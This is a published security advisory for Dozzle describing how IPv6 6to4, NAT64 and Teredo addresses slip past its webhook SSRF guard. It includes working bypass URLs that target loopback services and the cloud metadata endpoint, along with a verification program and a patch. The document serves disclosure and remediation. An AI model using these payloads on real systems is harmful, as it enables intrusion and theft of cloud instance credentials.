Dozzle: SSRF guard bypass via IPv6 transition addresses (6to4/NAT64/Teredo) in webhook notification dispatcher
Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.
osv · GHSA-p2w3-6x73-2f6x
Published## Summary The `isBlockedIP` SSRF guard in Dozzle's webhook notification dispatcher blocks loopback, link-local, multicast, and unspecified addresses but does not recognize IPv6 transition mechanism addresses (RFC 3056 6to4, RFC 6052 NAT64, RFC 4380 Teredo) that embed arbitrary IPv4 addresses. An authenticated user can bypass the guard to reach loopback services, cloud metadata endpoints (169.254.169.254), and other blocked ranges via webhook notification URLs. ## Affected component / versions - Package: `github.com/amir20/dozzle` - Affected versions: all versions with SSRF guard (current HEAD [`b9df313`](https://github.com/amir20/dozzle/commit/b9df31356fc024e6768a1aac605844dc041d95ee)) - Vulnerable code: `internal/notification/dispatcher/webhook.go` ## Details ### Root cause (CWE-918) [`internal/notification/dispatcher/webhook.go:32-51`](https://github.com/amir20/dozzle/blob/b9df31356fc024e6768a1aac605844dc041d95ee/internal/notification/dispatcher/webhook.go#L32-L51): ```go func isBlockedIP(ip net.IP) bool { if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() { return true } if v4 := ip.To4(); v4 != nil && zeroNetV4.Contains(v4) { return true } if ip.Equal(net.IPv4bcast) { return true } return false } ``` The guard intentionally allows RFC 1918 private ranges for self-hosted webhook targets, but blocks loopback (127.0.0.0/8, ::1), link-local (169.254.0.0/16, fe80::/10), and other non-routable addresses. IPv6 transition mechanism addresses bypass all these checks: | Mechanism | Prefix | Embeds | `isBlockedIP` result | |-----------|--------|--------|---------------------| | 6to4 | `2002::/16` | any IPv4 in bits 16-47 | `false` | | NAT64 WKP | `64:ff9b::/96` | any IPv4 in bits 96-127 | `false` | | Teredo | `2001:0000::/32` | any IPv4 in bits 96-127 | `false` | ### Reachability / trust boundary The `safeDialContext` function (line 53) resolves hostnames and checks each IP against `isBlockedIP` before establishing a TCP connection. This is used as the `DialContext` for the webhook HTTP client (line 115). Webhook URLs are configured by authenticated Dozzle users through the notification settings UI. The guard exists to prevent authenticated users from using webhook delivery as a proxy to reach the host machine's loopback services or cloud metadata endpoint. ### Attack chain 1. Authenticated user creates a webhook notification with URL `http://[2002:7f00:0001::1]:8080/` (6to4 embedding 127.0.0.1) 2. When a notification triggers, Dozzle's webhook dispatcher calls `safeDialContext` 3. The IPv6 address `2002:7f00:0001::1` is checked against `isBlockedIP` -- all predicates return false 4. Connection proceeds to the 6to4 relay which routes to 127.0.0.1 5. The webhook POST reaches the host's loopback services ## Impact An authenticated user can bypass the SSRF guard to: - Reach cloud metadata service at 169.254.169.254 via `2002:a9fe:a9fe::1` (6to4) to steal instance credentials - Reach localhost services via `64:ff9b::7f00:1` (NAT64) or `2002:7f00:0001::1` (6to4) - The webhook response body is logged at debug level but not returned to the user, making this a semi-blind SSRF (status code is returned) Note: RFC 1918 private ranges are intentionally allowed by the guard. This bypass specifically targets the blocked ranges (loopback and link-local/metadata) that the guard explicitly intends to prevent. ## Proof of concept Bypass vectors: ``` # 6to4 embedding 127.0.0.1 (bypasses IsLoopback) http://[2002:7f00:0001::1]:8080/ # NAT64 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[64:ff9b::a9fe:a9fe]/latest/meta-data/ # 6to4 embedding 169.254.169.254 (bypasses IsLinkLocalUnicast) http://[2002:a9fe:a9fe::1]/latest/meta-data/ # Teredo embedding 127.0.0.1 http://[2001:0000:dead:beef:0000:0000:7f00:0001]:8080/ ``` Verification that `isBlockedIP` returns false for all vectors: ```go package main import ( "fmt" "net" ) func isBlockedIP(ip net.IP) bool { return ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() || ip.IsMulticast() || ip.IsInterfaceLocalMulticast() || ip.IsUnspecified() } func main() { for _, v := range []string{ "2002:7f00:0001::1", // 6to4 -> 127.0.0.1 "64:ff9b::a9fe:a9fe", // NAT64 -> 169.254.169.254 "2002:a9fe:a9fe::1", // 6to4 -> 169.254.169.254 } { ip := net.ParseIP(v) fmt.Printf("%-35s blocked=%v\n", v, isBlockedIP(ip)) } } // Output: all false ``` ## Remediation Add IPv6 transition mechanism prefix checks to `isBlockedIP`: ```go func isBlockedIP(ip net.IP) bool { // ... existing checks ... // IPv6 transition mechanisms embedding arbitrary IPv4 if len(ip) == net.IPv6len { if ip[0] == 0x20 && ip[1] == 0x02 { return true } // 6to4 if ip[0] == 0x00 && ip[1] == 0x64 && ip[2] == 0xff && ip[3] == 0x9b { return true } // NAT64 if ip[0] == 0x20 && ip[1] == 0x01 && ip[2] == 0x00 && ip[3] == 0x00 { return true } // Teredo } return false } ``` ## Credit Reported by tonghuaroot ([email protected]).
- Source published
- 8 Sep 2026 18:11:56 UTC
- Source modified
- 10 Sep 2026 15:25:38 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Publisher rating · LOW